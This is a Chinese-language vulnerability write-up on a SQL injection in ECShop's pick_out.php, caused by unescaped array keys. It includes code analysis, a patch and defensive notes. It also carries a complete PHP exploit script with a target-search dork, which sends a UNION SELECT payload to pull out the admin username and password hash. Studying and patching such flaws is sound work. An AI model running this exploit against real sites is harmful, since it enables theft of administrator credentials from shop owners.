ecshop /pick_out.php SQL Injection Vul By Local Variable Overriding

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1. 漏洞描述
2. 漏洞觸發條件
3. 漏洞影響範圍
4. 漏洞程式碼分析
5. 防禦方法
6. 攻防思考

 

1. 漏洞描述

在進行輸入變數本地模擬註冊的時候，沒有進行有效的GPC模擬過濾處理，匯出key鍵注入

Relevant Link:

http://bbs.ecshop.com/thread-150545-1-1.html

2. 漏洞觸發條件

1. /pick_out.php漏洞未修復
2. magic_quotes_gpc = Off

0x1: POC

#!/usr/bin/php 
複製程式碼

<?php 
    //本程式只作技術交流，請不要用做非法用途！！ 
    print_r(' 
    +---------------------------------------------------------------------------+ 
    ECShop <= v2.6.2 SQL injection / admin credentials disclosure exploit 
    dork: "owered by ECShop" 
    +---------------------------------------------------------------------------+ 
    '); 
    /** 
    * works with magic_quotes_gpc = Off 
    */ 
    if ($argc < 3) 
    { 
        print_r(' 
        +---------------------------------------------------------------------------+ 
        Usage: php '.$argv[0].' host path 
        host:      target server (ip/hostname) 
        path:      path to ecshop 
        Example: 
        php '.$argv[0].' localhost /ecshop/ 
        +---------------------------------------------------------------------------+ 
        '); 
        exit; 
    } 
    error_reporting(7); 
    ini_set('max_execution_time', 0); 
    $host = $argv[1]; 
    $path = $argv[2]; 
    $resp = send(); 
    preg_match('#IN\s\(([\S]+)[a-z0-9]{32})\)#', $resp, $hash); 
    if ($hash) 
    exit("Expoilt Success!\nadmin:\t$hash[1]\nPassword(md5):\t$hash[2]\n"); 
    else 
    exit("Exploit Failed!\n"); 
    function send() 
    { 
        global $host, $path; 
        $cmd = 'cat_id=999999&attr[%27%20UNION%20SELECT%20CONCAT(user_name%2c0x3a%2cpassword)%20as%20goods_id%20FROM%20ecs_admin_user%20WHERE%20action_list%3d%27all%27%20LIMIT%201%23]=ryat'; 
        $data = "GET ".$path."pick_out.php?".$cmd."  HTTP/1.1\r\n"; 
        $data .= "Host: $host\r\n"; 
        $data .= "Connection: Close\r\n\r\n"; 
        $fp = fsockopen($host, 80); 
        fputs($fp, $data); 
        $resp = ''; 
        while ($fp && !feof($fp)) 
            $resp .= fread($fp, 1024); 
        return $resp; 
    } 
?>

3. 漏洞影響範圍
4. 漏洞程式碼分析

/pick_out.php

..
/* 處理屬性,獲取滿足屬性的goods_id */
if (!empty($_GET['attr']))
{
    $attr_table = '';
    $attr_where = '';
    $attr_url   = '';
    $i = 0;
    $goods_result = '';
    foreach ($_GET['attr'] AS $key => $value)
    {
        $attr_url .= '&attr[' . $key . ']=' . $value; 
        $attr_picks[] = $key;
        if ($i > 0)
        {
            if (empty($goods_result))
            {
                break;
            }
            // 利用key進行注射
            $goods_result = $db->getCol("SELECT goods_id FROM " . $ecs->table("goods_attr") . " WHERE goods_id IN (" . implode(',' , $goods_result) . ") AND attr_id='$key' AND attr_value='$value'");
        }
        else
        {
            $goods_result = $db->getCol("SELECT goods_id FROM " . $ecs->table("goods_attr") . " WHERE attr_id='$key' AND attr_value='$value'");
        }
        $i++;
    }
    ..

5. 防禦方法

/pick_out.php

define('IN_ECS', true);

require(dirname(__FILE__) . '/includes/init.php');

$condition = array();
$picks = array();
$cat_id = !empty($_GET['cat_id']) ? intval($_GET['cat_id']) : 0;

if (!empty($_GET['attr']))
{
    //對輸入陣列進行鍵值(key、value)規範化處理
    foreach($_GET['attr'] as $key => $value)
    {
    /* */
        if (!is_numeric($key))
        {
            unset($_GET['attr'][$key]);
            continue;
        }
        $key = intval($key);
        $_GET['attr'][$key] = htmlspecialchars($value);
　　　　/* */
    $attr_url .= '&attr[' . $key . ']=' . $value;
    ...
    }
}

Relevant Link:

http://bbs.ecshop.com/thread-86922-1-1.html

6. 攻防思考

GPC自動註冊是PHP提供的原生機制，很多CMS為了保證"無視使用者自身設定"，在全域性入口程式碼中採用了"自動模擬GPC註冊"的機制，類似於
/*
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
    foreach($$_request as $_k => $_v) 
        ${$_k} = $_v;
}
*/

但是，在進行模擬GPC本地變數註冊的時候，一定要保持安全性的一致性，即要同時模擬執行"magic_quotes_gpc = On"機制，即需要對傳入資料的進行[key:value]轉義過濾，例如

function _RunMagicQuotes(&$svar)
{
    if(!get_magic_quotes_gpc())
    {
        if( is_array($svar) )
        {
            foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
        }
        else
        {
            $svar = addslashes($svar);
        }
    }
    return $svar;
}

foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
    foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}

 

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